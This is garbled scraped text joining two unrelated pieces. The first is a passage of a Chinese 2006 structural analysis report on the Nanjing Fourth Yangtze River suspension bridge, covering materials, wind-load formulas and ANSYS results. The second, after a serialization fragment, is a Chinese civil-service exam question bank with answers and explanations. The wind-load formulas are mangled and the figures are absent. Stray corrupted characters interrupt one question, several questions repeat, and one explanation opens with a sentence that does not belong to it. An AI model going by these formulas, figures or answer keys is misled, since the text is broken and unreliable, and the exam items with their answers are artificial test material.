@#@D+W(横)+T(+/-).424.3.3.运营阶段总体计算结果小结.47南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司II4.3.3.1.内力和应力基本情况:
@#@.474.3.3.2.支座反力.494.3.3.3.活载位移.49附录一:
@#@空缆状态线形数据附录一:
@#@空缆状态线形数据.51附录二:
@#@成桥状态线形数据附录二:
@#@成桥状态线形数据.65南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司31.结构概述结构概述本方案为主跨1418米三跨吊钢箱梁悬索桥,为南京长江第四大桥主桥初步设计阶段推荐方案。
@#@主缆三跨布置为58314184742475m;@#@主梁跨径布置为41714183572192m;@#@北边跨吊杆布置为11+2615+16=417m,中跨吊杆布置为1631153015.23115161418m,南边跨吊杆布置为16221511357m。
@#@主缆矢跨比1/9,矢高157.5m;@#@南北索塔IP点标高234.200m,北锚散索鞍IP点标高25.000m,南锚散索鞍IP点标高24.000m。
@#@(如图1.1)16600主桥248000157501100+261500+1600=417001600+311500+301520+311500+1600=1418001600+221500+1100=3570012200六合栖霞25.00024.000图1.1主桥总体布置图2.采用规范、计算依据及计算程序采用规范、计算依据及计算程序2.1.基本规范基本规范?
@#@公路工程技术标准(JTGB01-2004)?
@#@公路工程结构可靠度设计统一标准(GB/T50283-1999)?
@#@公路桥涵设计通用规范(JTGD60-2004)?
@#@公路钢筋混凝土及预应力混凝土桥涵设计规范(JTGD62-2004)?
@#@公路桥涵地基与基础设计规范(JTJ024-1985)?
@#@公路桥涵钢结构及木结构设计规范(JTJ025-1986)?
@#@公路工程抗震设计规范(JTJ004-1989)?
@#@公路桥梁抗风设计规范(JTG/TD60-01-2004)?
@#@公路路线设计规范(JTJ011-1994)?
@#@公路建设项目环境影响评价规范(试行)(JT005-1996)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司4?
@#@公路环境保护设计规范(JTJ/T006-1998)?
@#@公路勘测规范(JTJ061-1999)?
@#@公路工程地质勘察规范(JTJ064-1998)?
@#@桥梁用结构钢(GB/T714-2000)?
@#@公路桥涵施工技术规范(JTJ027-2000)?
@#@公路工程质量检验评定标准(JTJ071-1998)?
@#@高速公路交通安全设施设计及施工技术规范(JTJ074-1994)2.2.参考规范参考规范?
@#@钢桥、混凝土桥及结合桥(英国标准学会,BS54001978-82版)?
@#@道路桥示方书.同解说(日本道路协会,平成8年12月)?
@#@钢床版设计要领.同解说(日本本四国联络公团,1989)?
@#@上部构造设计基准.同解说(日本本四国联络公团,1989)?
@#@美国公路桥梁设计规范(AASHTO,1994)?
@#@德国道路和人行钢桥设计与施工标准(DINI8809)?
@#@铁路桥涵设计规范(TBJ2-96)?
@#@海港水文规范(JTJ213)?
@#@建筑桩基础技术规范(JGJ94-94)?
@#@公路桥梁抗风设计指南2.3.计算依据及计算程序计算依据及计算程序计算依据为南京长江第四大桥主桥初步设计图纸及相关专题研究成果。
@#@计算程序采用ANSYS。
@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司53.结构分析参数结构分析参数3.1.材料特性材料特性3.1.1.混凝土混凝土桥塔混凝土标号C50,弹性模量3.45E4MPa,密度2600kg/m3,泊松比0.2,线膨胀系数1.0E-5。
@#@3.1.2.钢材钢材钢箱梁采用Q345D,弹性模量2.10E5MPa,密度7850kg/m3,泊松比0.3,线膨胀系数1.2E-5。
@#@3.1.3.高强钢丝高强钢丝主缆钢丝强度级别1770MPa,弹性模量2.00E5MPa,密度7850kg/m3,泊松比0.3,线膨胀系数1.2E-5。
@#@吊索平行钢丝强度级别1670MPa,弹性模量2.00E5MPa,密度7850kg/m3,泊松比0.3,线膨胀系数1.2E-5。
@#@3.2.计算荷载计算荷载3.2.1.恒载(恒载(D)1)钢箱梁过渡墩及索塔附近钢箱梁采用加强钢箱梁,其余位置为标准钢箱梁。
@#@标准钢箱梁相关参数:
@#@项目项目单位单位数量数量加劲梁类型扁平钢箱梁面积m21.441038竖向抗弯惯性矩m42.7508横向抗弯惯性矩m41.5512E2钢箱梁扭转惯性矩m7.5636南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司6梁高m3.4重心相对于底缘高度m2.079梁宽m33.972主梁重(一期)kN/m145.7207(15m)145.3775(15.2m)铺装栏杆排水等(二期)kN/m42.532弹性模量MPa2.1e5泊松比0.3材料线膨胀系数1/1.2e-5索塔附近钢箱梁相关参数:
@#@项目项目单单位位数量数量加劲梁类型扁平钢箱梁面积m21.578727竖向抗弯惯性矩m43.1796横向抗弯惯性矩m41.6855E2扭转惯性矩m7.6187梁高m3.4重心相对于底缘高度m1.928钢箱梁梁宽m33.972主梁重(一期)kN/m156.3117铺装栏杆排水等(二期)kN/m42.532弹性模量MPa2.1e5泊松比0.3材料线膨胀系数1/1.2e-5过渡墩附近钢箱梁相关参数:
@#@项目项目单位单位数量数量加劲梁类型扁平钢箱梁面积m21.474671竖向抗弯惯性矩m42.8032横向抗弯惯性矩m41.5591E2扭转惯性矩m7.5706梁高m3.4重心相对于底缘高度m2.079钢箱梁梁宽m33.972南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司7主梁重(一期)kN/m148.3055铺装栏杆排水等(二期)kN/m42.532弹性模量MPa2.1e5泊松比0.3材料线膨胀系数1/1.2e-55)缆索系统主缆相关参数:
@#@项目项目单位单位中跨中跨北边跨北边跨南边跨南边跨大缆根数根222钢丝直径mm5.355.355.35索股钢丝根数根127127127索股股数股127131133钢丝面积m20.362580.3740.37971直径m755767773主缆钢丝重kg/m2846.32935.92980.7缠丝.等重kg/m65.666.767.2主缆重kg/m2911.93002.63047.9单缆主缆等效密度kg/m38031.18028.38026.9弹性模量MPa2E52E52E5泊松比0.30.30.3线膨胀系数1/1.2E-51.2E-51.2E-5材料钢丝强度MPa177017701770吊索相关参数:
@#@一般吊索选用5-87平行钢丝拉索,塔两侧各两根吊索选用5-313拉索,端吊索采用钢结构构件。
@#@(索夹重量在总体计算中另计)587吊索相关参数:
@#@项目项目单位单位吊索类型平行钢丝直径m面积m20.001708延米重量kg/m15.1单根吊索吊索等效密度kg/m38839.5弹性模量MPa2.0e5材料泊松比南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司8线膨胀系数1/1.2e-5钢丝强度MPa16705313吊索相关参数:
@#@项目项目单位单位吊索类型平行钢丝直径m面积m20.0061457延米重量kg/m52.24单根吊索吊索等效密度kg/m38500.9弹性模量MPa2.0e5泊松比线膨胀系数1/1.2e-5材料钢丝强度MPa16703.2.2.活载(活载(L)根据公路桥涵设计通用规范,汽车荷载按公路-I级计算。
@#@按8车道计算,考虑横向折减系数0.5,纵向折减系数0.93,偏载系数1.08,不考虑冲击系数;@#@按6车道计算,考虑横向折减系数0.55,纵向折减系数0.93,偏载系数1.08,不考虑冲击系数。
@#@3.2.3.温度荷载(温度荷载(T)钢构件:
@#@升温20,降温34混凝土构件:
@#@升温20,降温343.2.4.风荷载(风荷载(W、WL)1)、主梁1)、主梁横桥向阻力:
@#@HCVFHgH221=式中,3/25.1mkg=,主梁VVg=38.1。
@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司9百年风:
@#@HCVFHgH221=0.51.25(1.3842.2)20.953.46.85(kN/m)运营风:
@#@HCVFHgH221=0.51.25(1.3825.0)20.953.42.40(kN/m)顺桥向阻力:
@#@scVFfgH221=式中,s为主梁周长。
@#@百年风:
@#@scVFfgH221=0.51.25(1.3842.2)20.0176.721.63(kN/m)运营风:
@#@scVFfgH221=0.51.25(1.3825.0)20.0176.720.57(kN/m)主梁升力:
@#@BCVFVgV221=百年风:
@#@3=VF0.51.25(1.3842.2)2-0.537.7-39.96(kN/m)3+=VF0.51.25(1.3842.2)20.1537.711.99(kN/m)运营风:
@#@3=VF0.51.25(1.3825.0)2-0.537.7-14.02(kN/m)3+=VF0.51.25(1.3825.0)20.1537.74.21(kN/m主梁升力矩:
@#@2221BCVFMgM=南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司10百年风:
@#@3=MF0.51.25(1.3842.2)2-0.0737.737.7-210.88(kN.m/m)3+=MF0.51.25(1.3842.2)20.0737.737.7210.88(kN.m/m)运营风:
@#@3=MF0.51.25(1.3825.0)2-0.0737.737.7-74.01(kN.m/m)3+=MF0.51.25(1.3825.0)20.0737.737.774.01(kN.m/m)2)、索塔)、索塔横桥向阻力:
@#@百年风迎风侧塔柱:
@#@HCVFHgH221=0.51.25(1.3847.7)22.01054.16(kN/m)背风侧塔柱:
@#@HCVFHgH221=0.51.25(1.3847.7)21.01027.08(kN/m)运营风迎风侧塔柱:
@#@HCVFHgH221=0.51.25(1.3828.3)22.01019.07(kN/m)背风侧塔柱:
@#@HCVFHgH221=0.51.25(1.3828.3)21.0109.53(kN/m)顺桥向阻力:
@#@百年风塔柱:
@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司11HCVFHgH221=0.51.25(1.3847.7)22.0737.91(kN/m)上横梁:
@#@HCVFHgH221=0.51.25(1.3850.55)22.0636.50(kN/m)下横梁:
@#@HCVFHgH221=0.51.25(1.3840.87)22.0623.86(kN/m)弧形装饰横梁:
@#@HCVFHgH221=0.51.25(1.3848.81)22.0317.01(kN/m)菱形装饰立柱:
@#@HCVFHgH221=0.51.25(1.3849.71)21.41.56.18(kN/m)运营风塔柱:
@#@HCVFHgH221=0.51.25(1.3828.3)22.0713.35(kN/m)上横梁:
@#@HCVFHgH221=0.51.25(1.3829.98)22.0612.84(kN/m)下横梁:
@#@HCVFHgH221=0.51.25(1.3824.24)22.068.40(kN/m)弧形装饰横梁:
@#@HCVFHgH221=0.51.25(1.3828.95)22.035.99(kN/m)菱形装饰立柱:
@#@HCVFHgH221=0.51.25(1.3829.48)21.41.52.17(kN/m)3)、主缆)、主缆横桥向阻力百年风:
@#@HCVFHgH221=0.51.25(1.3847.7)20.70.761.44(kN/m)运营风:
@#@HCVFHgH221=0.51.25(1.3828.3)20.70.760.51(kN/m)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司12顺桥向阻力百年风:
@#@HCVFHgH221=0.51.25(1.3847.7)20.070.760.14(kN/m)运营风:
@#@HCVFHgH221=0.51.25(1.3828.3)20.070.760.05(kN/m)3.3.荷载组合荷载组合根据公路桥涵设计通用规范(JTGD60-2004)除对施工阶段进行控制计算外,使用阶段分别针对不同构件进行不同组合,当汽车、温度荷载与恒载效应组合时,均为选择性组合即不利时参与组合,有利时不参与组合。
@#@组合一:
@#@D+L(8/6)组合二:
@#@D+L(8/6)+T(+/-)组合三:
@#@D+L(8/6)+WL(顺)+T(+/-)组合四:
@#@D+W(顺)+T(+/-)组合五:
@#@D+W(横)+T(+/-)3.4.主梁约束条件主梁约束条件钢箱梁桥面连续、全漂浮,仅在过渡墩设置竖向支座;@#@索塔位置设置横向抗风支座,过渡墩位置设置横向阻尼器;@#@索塔位置通过纵向弹性限位支座抵抗强风、活载制动、地震等冲击荷载。
@#@约束形式如图3.1:
@#@图3.1约束形式示意主索鞍散索鞍端吊索主索鞍散索鞍端吊索横向抗风支座横向抗风支座纵向弹性限位支座竖向支座横向阻尼器横向阻尼器横向抗风支座横向抗风支座纵向弹性限位支座竖向支座横向阻尼器横向阻尼器南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司134.总体结构受力分析总体结构受力分析4.1.分析模型分析模型4.1.1.模型简介模型简介本次计算根据悬索桥有限元计算理论,通过对大型通用有限元计算程序Ansys的二次开发,利用其优秀的前后处理及求解平台,成功解决了大跨度悬索桥在ansys中的精细分析,同时完成线形及内力的求解过程。
@#@在针对非线性活载的计算问题上,本次计算参考了唐茂林的博士论文大跨度悬索桥空间几何非线性分析与软件开发,采用了相同的计算原理。
@#@如图所示为本次计算结构离散图,主梁及索塔采用beam44单元,吊杆采用link8单元,主缆采用link8单元,通过加密单元划分模拟其索的特性。
@#@图4.1总体计算离散图南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司144.2.施工阶段主要分析结果施工阶段主要分析结果根据悬索桥的施工和受力特点,本次计算以重大体系转变为节点模拟了施工过程。
@#@以下是关于空缆状态和成桥状态的分析成果:
@#@(空缆状态指仅考虑主缆钢丝重量的主缆受力状态;@#@成桥状态指铺装完成、结构体系形成,无外荷载作用的全桥受力状态。
@#@)4.2.1.1.空缆状态主要计算成果是主缆的线形状态,详见附录一。
@#@4.2.1.2.成桥状态全桥线形计算成果详见附录二。
@#@(其中主梁成桥线形与理论线形一致,结果未示)成桥状态主缆轴力:
@#@2.00E+052.05E+052.10E+052.15E+052.20E+052.25E+052.30E+052.35E+052.40E+05图4.2成桥状态主缆轴力(单位:
@#@kN)图中四根竖线自左至右分别代表北过渡墩、北塔、南塔和南过渡墩位置,下文除特别说明外,均为此含义。
@#@成桥状态主梁弯矩:
@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司15图4.3成桥状态主梁弯矩(单位:
@#@kN.m)吊杆拉力:
@#@(包括自重)05001000150020002500300035004000N28N22N16N10N4C3C9C15C21C27C33C39C45C51C57C63C69C75C81C87C93S6S12S18S24图4.4成桥状态吊杆拉力(单位:
@#@kN)(单侧)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司164.3.运营阶段分析运营阶段分析4.3.1.计算工况计算工况以下运营阶段计算成果包括以下工况:
@#@?
@#@组合一:
@#@D+L(8/6)?
@#@组合二:
@#@D+L(8/6)+T(+/-)?
@#@组合三:
@#@D+L(8/6)+WL(顺)+T(+/-)?
@#@组合四:
@#@D+W(顺)+T(+/-)?
@#@组合五:
@#@D+W(横)+T(+/-)4.3.2.运营阶段总体分析结果运营阶段总体分析结果以下列出了上述七种工况的主要计算结果:
@#@(8表示8车道;@#@6表示6车道)4.3.2.1.组合一:
@#@D+L(8/6)?
@#@组合一主缆轴力包络图(8):
@#@2.00E+052.10E+052.20E+052.30E+052.40E+052.50E+052.60E+052.70E+052.80E+05图4.5组合一主缆轴力包络图(8)(单位:
@#@kN)?
@#@组合一主缆轴力包络图(6):
@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司172.00E+052.10E+052.20E+052.30E+052.40E+052.50E+052.60E+052.70E+05图4.6组合一主缆轴力包络图(6)(单位:
@#@kN)?
@#@组合一主梁弯矩包络图(8):
@#@图4.7组合一主梁弯矩包络图(8)(单位:
@#@kN.m)?
@#@组合一主梁弯矩包络图(6):
@#@图4.8组合一主梁弯矩包络图(6)(单位:
@#@kN.m)?
@#@组合一主梁上缘应力包络图(8):
@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司18图4.9组合一主梁上缘应力包络图(8)(单位:
@#@kPa)?
@#@组合一主梁下缘应力包络图(8):
@#@图4.10组合一主梁下缘应力包络图(8)(单位:
@#@kPa)?
@#@组合一主梁上缘应力包络图(6):
@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司19图4.11组合一主梁上缘应力包络图(6)(单位:
@#@kPa)?
@#@组合一主梁下缘应力包络图(6):
@#@图4.12组合一主梁下缘应力包络图(6)(单位:
@#@kPa)?
@#@组合一吊杆拉力包络图(8):
@#@-1000010002000300040005000600070008000N28N21N14N7C1C8C15C22C29C36C43C50C57C64C71C78C85C92S6S13S20图4.13组合一吊杆拉力包络图(8)(单位:
@#@kN)?
@#@组合一吊杆拉力包络图(6):
@#@010002000300040005000600070008000N28N21N14N7C1C8C15C22C29C36C43C50C57C64C71C78C85C92S6S13S20图4.14组合一吊杆拉力包络图(6)(单位:
@#@kN)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司20?
@#@组合一索塔轴力包络图(8):
@#@图4.15组合一索塔轴力包络图(8)(单位:
@#@kN)?
@#@组合一索塔轴力包络图(6):
@#@图4.16组合一索塔轴力包络图(6)(单位:
@#@kN)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司21?
@#@组合一索塔弯矩包络图(8):
@#@图4.17组合一索塔弯矩包络图(8)(单位:
@#@kN.m)?
@#@组合一索塔弯矩包络图(6):
@#@图4.18组合一索塔弯矩包络图(6)(单位:
@#@kN.m)(弯矩绘制在塔柱受拉侧。
@#@)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司22?
@#@组合一索塔剪力包络图(8):
@#@图4.19组合一索塔剪力包络图(8)(单位:
@#@kN)(注:
@#@图中所示为单元剪力。
@#@由于计算考虑了几何非线性,受到单元变形和自重的影响,故上下单元剪力有变化。
@#@需要说明的是,本组合塔柱各单元水平分力相等。
@#@)?
@#@组合一索塔剪力包络图(6):
@#@图4.20组合一索塔剪力包络图(6)(单位:
@#@kN)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司23?
@#@主缆活载竖向位移包络图(8):
@#@-4-3-2-10123图4.21主缆活载竖向位移包络图(8)(单位:
@#@m)?
@#@主缆活载竖向位移包络图(6):
@#@-4-3-2-10123图4.22主缆活载竖向位移包络图(6)(单位:
@#@m)?
@#@主缆活载水平位移包络图(8):
@#@-1.2-0.9-0.6-0.300.30.60.91.2图4.23主缆活载水平位移包络图(8)(单位:
@#@m)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司24?
@#@主缆活载水平位移包络图(6):
@#@-1.2-0.9-0.6-0.300.30.60.91.2图4.24主缆活载水平位移包络图(6)(单位:
@#@m)?
@#@主梁活载竖向位移包络图(8):
@#@-4-3-2-10123图4.25主梁活载竖向位移包络图(8)(单位:
@#@m)?
@#@主梁活载竖向位移包络图(6):
@#@-4-3-2-10123图4.26主梁活载竖向位移包络图(6)(单位:
@#@m)南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司25?
@#@主梁活载转角位移包络图(8):
@#@-0.02-0.015-0.01-0.00500.0050.010.0150.02图4.27主梁活载转角位移包络图(8)(单位:
@#@弧度)?
@#@主梁活载转角位移包络图(6):
@#@-0.02-0.015-0.01-0.00500.0050.010.0150.02图4.28主梁活载转角位移包络图(6)(单位:
@#@弧度)8车道活载作用下,梁端最大水平位移0.765m,最小水平位移0.750m。
@#@6车道活载作用下,梁端最大水平位移0.635m,最小水平位移0.622m。
@#@?
@#@索塔活载水平位移包络图(8):
@#@050100150200250-0.4-0.3-0.2-0.10.00.10.20.";i:
11;s:
26824:
"桓仁满族自治县国投集团招聘《综合基础知识》试题及解析@#@ 说明:
@#@本题库收集历年及近期考试真题,全方位的整理归纳备考之用。
@#@@#@ 注意事项:
@#@@#@ 1、答题前,考试务必将自己的姓名,准考证号用黑色签字笔或钢笔填写在答题纸规定的位置。
@#@@#@ 2、监考人员宣布考试结束时,你应立即停止作答。
@#@将题本、答题卡和草稿纸都翻过来留在桌上,待监考人员确认数量无误、允许离开后方可离开。
@#@@#@ 3、特别提醒您注意,所有题目一律在答题卡指定位置答题。
@#@未按要求作答的,不得分。
@#@@#@ 一、选择题(在下列每题四个选项中选择符合题意的,将其选出并把它的标号写在题后的括号内。
@#@@#@ 错选、多选或未选均不得分。
@#@)@#@ 1、下列批办意见不恰当的是()。
@#@@#@ A、拟同意@#@ B、同意,请XX科承办@#@ C、请XX同志阅处@#@ D、阅@#@ 【答案】AD@#@ 【解析】批办不能只阅不批,或是只批“拟同意”或“阅”之类模棱两可文字,必须提出具体可行的批办意见,提出如何具体组织解决公文中提到的问题。
@#@所以答案选AD。
@#@@#@ 2、下列选项中体现出了同一哲学道理,除了()。
@#@@#@ A、对症下药@#@ B、与时偕行@#@ C、见风使舵@#@ D、入乡随俗@#@ 【答案】B@#@ 【解析】@#@ A、C、D三项都体现出了具体问题具体分析的哲理,而B项体现的是发展的观点。
@#@故选B。
@#@@#@ 3、对下列诗词蕴含的化学原理解释错误的是()。
@#@@#@ A、蜡炬成灰泪始干——烃类的不完全燃烧@#@ B、爆竹声中一岁除——爆炸产生二氧化硫@#@ C、日照香炉生紫烟——多环芳香烃的升华@#@ D、洪炉照破夜沉沉——燃烧释放二氧化碳@#@ 【答案】C@#@ 【解析】A项,“蜡炬成灰泪始干”中的“灰”是指蜡烛不完全燃烧生成的碳(黑色)和蜡烛一些中杂质燃烧后的产物,属于烃类的不完全燃烧。
@#@A项正确。
@#@@#@ B项,“爆竹声中一岁除”中的“爆竹”成分中含有硫磺,硫磺中含有硫,硫燃烧产生二氧化硫。
@#@B项正确。
@#@C项,“日照香炉生紫烟”是物理变化,紫烟是因香炉峰的水受热由液态变为气态而产生的。
@#@因此C项错误,当选。
@#@@#@ D项,“洪炉照破夜沉沉”中的“洪炉”因烧炭而产生二氧化碳。
@#@D项正确。
@#@@#@ 4、企业产品成本的降低意味着()。
@#@@#@ A、生产单位产品耗费的活劳动和物化劳动的增加@#@ B、生产单位产品耗费的活劳动和物化劳动的减少@#@ C、生产单位产品耗费的活劳动和物化劳动的不变@#@ D、生产单位产品耗费的活劳动和物化劳动的总和固定@#@ 【答案】B@#@ 【解析】活劳动是指人的劳动,物化劳动是指生产资料是死劳动。
@#@成本由c+v组成,它的降低意味着c降低,表现为不变资本消耗的减少;@#@同时也可以表现为v的减少。
@#@故选B。
@#@@#@ 5、尽管新的生产要素能够提高农业产量,但在现实中往往能看到许多传统农民拒绝接受和采用这种包含着新的技术变化的许多生产要素。
@#@这是因为()。
@#@@#@ A、传统农民是保守的@#@ B、传统农民懒惰@#@ C、传统农民不愿进行过多的劳动@#@ D、农民对风险的承受能力差@#@ 【答案】D@#@ 【解析】农民对于风险的承受能力是很弱的,因为靠天吃饭的农业存在着极大的不稳定性,而新的技术变化的生产要素具有很强的风险性,所以一般农民不愿意接受。
@#@@#@ 6、价格与价值的关系是()。
@#@@#@ A、价格受供求关系的影响围绕价值上下波动@#@ B、价格决定价值@#@ C、无必然联系@#@ D、价值就是价格@#@ 【答案】A@#@ 【解析】本题考查的是价值规律。
@#@价值规律是通过价格围绕价值上下波动表现出来的。
@#@由于受到供求关系的影响,某种商品供不应求,价格上涨,供过于求,价格下跌。
@#@价格与供求之间存在着双向制约的关系,供求变化会引起价格波动,商品生产者又会根据价格的涨落及时调整投资方向和生产规模,使供求达到动态平衡,从而使价格以价值为轴心上下波动。
@#@故本题选择A。
@#@@#@ 7、公文的正文逻辑结构可分三部分,()是正文的中心部分。
@#@@#@ A、分析问题@#@ B、解决问题@#@ C、提出问题@#@ D、介绍经过@#@ 【答案】A@#@ 【解析】公文的内在结构有一条基本规律,这就是:
@#@提出问题——分析问题——解决问题。
@#@三部分中分析问题是公文最重要的部分,是公文的重点。
@#@故选A。
@#@@#@ 8、下列谚语中,描绘云贵高原的是()。
@#@@#@ A、春雨贵如油@#@ B、早穿棉袄午穿纱,围着火炉吃西瓜@#@ C、远看是山,近看成川@#@ D、天无三日晴,地无三尺平@#@ 【答案】D@#@ 【解析】A项错误:
@#@@#@ “春雨贵如油”重点在于春天是农作的生长期,需要水,春雨很重要,和云贵高原没有关系。
@#@B项错误:
@#@形容新疆地区,新疆早晚温差较大。
@#@C项错误:
@#@形容青藏地区,青藏高原的海拔很高,从远处看就是一座大山;@#@但内部山脉的高度差不大,因此近看一马平川。
@#@D项正确:
@#@贵州一带年平均阴雨日数达到100天,地形崎岖。
@#@故选D。
@#@@#@ 9、在一些嘈杂的场所,经常看到一些用玻璃制作的电话亭,其隔音效果很好,这是因为()。
@#@@#@ A、声音在玻璃中不能传播@#@ B、电话亭内的声音传播介质——空气太少了@#@ C、电话亭内打电话者与电话亭外人群的声音被玻璃反射了@#@ D、电话亭内打电话者与电话亭外人群的声音被玻璃吸收了@#@ 【答案】C@#@ 【解析】由于玻璃表面光滑,不易于吸收声音,是声音的优良反射体,这样传到电话亭外面的声音较少,起到了良好的隔音效果。
@#@@#@ 10、下列不属于行政决策的特征的是()。
@#@@#@ A、决策主体的特定性@#@ B、决策内容的广泛性@#@ C、决策的程序性@#@ D、决策的权威性@#@ 【答案】C@#@ 【解析】情况有时候会是突发的,这个时候的决策也就不可能按照程序来进行。
@#@因此决策的程序性不属于行政决策的特征。
@#@@#@ 11、下列四组地名中,按所在经度由东向西依次排列的是()。
@#@@#@ A、上海、天津、北京、西安@#@ B、华山、普陀山、庐山、九华山@#@ C、洪泽湖、洞庭湖、鄱阳湖、滇池@#@ D、中山陵、大雁塔、龙门石窟、嘉峪关@#@ 【答案】A@#@ 【解析】A项中最东为上海,最西为西安,天津位于北京东面,排序正确。
@#@B项中位于东海的普陀山最东,位于秦岭的华山最西,江西庐山东北面是安徽的九华山,排序错误。
@#@C项云南昆明的滇池最西,江苏、山东交界处的洪泽湖最东,但湖南洞庭湖位于江西鄱阳湖之西,排序错误。
@#@D项中洛阳的龙门石窟位于西安大雁塔的东面,排序也是错误的。
@#@故选A。
@#@@#@ 12、两种不同的使用价值相互交换的量的比例关系取决于()。
@#@@#@ A、效用@#@ B、交换价值@#@ C、价值@#@ D、供求关系@#@ 【答案】B@#@ 【解析】交换价值首先表现为一种使用价值同另一种使用价值交换的量的关系或比例。
@#@@#@ 13、下列学者观点与其代表的哲学派别对应正确的一项是()。
@#@@#@ A、泰勒斯:
@#@万物产生于水——古代朴素唯物主义@#@ B、陆象山:
@#@宇宙便是吾心,吾心即是宇宙——客观唯心主义@#@ C、老子:
@#@道生万物,道就是无——主观唯心主义@#@ D、德谟克利特:
@#@一切事物都是由不能再分的物质微粒——原子组成的——形而上学唯物主义@#@ 【答案】A@#@ 【解析】A项认为水是世界的本原,把“物质”理解为自然界中一种或几种具体的物质形态,属于古代朴素唯物主义理论,正确。
@#@B项认为“心”是世界的本原属于主观唯心主义的思想。
@#@C项认为“道”是万物的本原属于客观唯心主义的观点가ከᏩ☵ڌ☵ڌ䃠ණ왈ඓ䃠ණ⠌가@#@ 14、变更或撤销下级机关不适当的决定事项应使用的文种是()。
@#@@#@ A、命令@#@ B、决定@#@ C、通知@#@ D、意见@#@ 【答案】B@#@ 【解析】在13种公文种类中,“决定”适用于对重要事项作出决策和部署、奖惩有关单位和人员、变更或者撤销下级机关不适当的决定事项。
@#@@#@ 15、一种认识是不是真理,要看它()。
@#@@#@ A、能否满足人们的需要@#@ B、能否被多数人认可@#@ C、能否付诸实践@#@ D、能否在实践中最终取得预期的效果@#@ 【答案】D@#@ 【解析】实践是检验真理的唯一标准,所以判断一种认识是不是真理,要看它能否在实践中最终取得预期的效果。
@#@故选D。
@#@@#@ 16、下列属于批复的特点的是()。
@#@@#@ A、下行性@#@ B、针对性@#@ C、结论性@#@ D、及时性@#@ 【答案】ABCD@#@ 【解析】批复的特点:
@#@1,下行性。
@#@批复仅能用于下行文。
@#@@#@ 2,针对性。
@#@批复是专为请示而设臵的文种,其主送机关是呈送请示的下级机关。
@#@@#@ 3,结论性。
@#@批复是针对请示问题的答复,只用作出结论即可,不必展开论述,内容较为简练。
@#@@#@ 4,及时性。
@#@上级机关批复下级机关的请示要迅速,以免耽误下级机关的工作进展。
@#@@#@ 17、货币的本质是()。
@#@@#@ A、购买商品@#@ B、充当交换物@#@ C、充当投资物@#@ D、充当一般等价物@#@ 【答案】D@#@ 【解析】本题考查货币的本质。
@#@货币的本质就是一般等价物,具有价值尺度、流通手段、支付手段、贮藏手段、世界货币的职能。
@#@故本题选D。
@#@@#@ 18、()把人视为一种资源,强调人和事的统一发展,注重开发人的潜力和促进人的全面发展。
@#@@#@ A、系统原则@#@ B、效益原则@#@ C、自由原则@#@ D、人本原则@#@ 【答案】D@#@ 【解析】@#@ “不落后别人,如有可能要高别人一筹”是指希望自己获得实力、成就、独立等,希望得到他人的赏识和高度评价。
@#@人本原则要求人们在管理活动中坚持一切以人为核心,以人的权利为根本,强调人的主观能动性,力求实现人的全面、自由发展。
@#@其实质就是充分肯定人在管理活动中的主体地位和作用。
@#@同时,通过激励调动和发挥员工的积极性和创造性,引导员工去实现预定的目标。
@#@故选D。
@#@@#@ 19、()把人视为一种资源,强调人和事的统一发展,注重开发人的潜力和促进人的全面发展。
@#@@#@ A、系统原则@#@ B、效益原则@#@ C、自由原则@#@ D、人本原则@#@ 【答案】D@#@ 【解析】@#@ “不落后别人,如有可能要高别人一筹”是指希望自己获得实力、成就、独立等,希望得到他人的赏识和高度评价。
@#@人本原则要求人们在管理活动中坚持一切以人为核心,以人的权利为根本,强调人的主观能动性,力求实现人的全面、自由发展。
@#@其实质就是充分肯定人在管理活动中的主体地位和作用。
@#@同时,通过激励调动和发挥员工的积极性和创造性,引导员工去实现预定的目标。
@#@故选D。
@#@@#@ 20、判决书的正文的组成部分是()。
@#@@#@ A、案件事实@#@ B、判决理由@#@ C、合议庭成员署名@#@ D、判决结果@#@ 【答案】ABD@#@ 【解析】合议庭成员署名不属于判决书的正文部分内容。
@#@@#@ 21、非同一系统的任何机关相互行文都使用()。
@#@@#@ A、上行文@#@ B、平行文@#@ C、越级行文@#@ D、下行文@#@ 【答案】B@#@ 【解析】具有平行关系或其他不相隶属关系的机关之间相互主送平行文。
@#@@#@ 22、变更或撤销下级机关不适当的决定事项应使用的文种是()。
@#@@#@ A、命令@#@ B、决定@#@ C、通知@#@ D、意见@#@ 【答案】B@#@ 【解析】在13种公文种类中,“决定”适用于对重要事项作出决策和部署、奖惩有关单位和人员、变更或者撤销下级机关不适当的决定事项。
@#@@#@ 23、以下属于公文版头的是()。
@#@@#@ A、发文机关标志@#@ B、标题@#@ C、主送机关@#@ D、抄送机关@#@ 【答案】A@#@ 【解析】本题考查的是公文的格式。
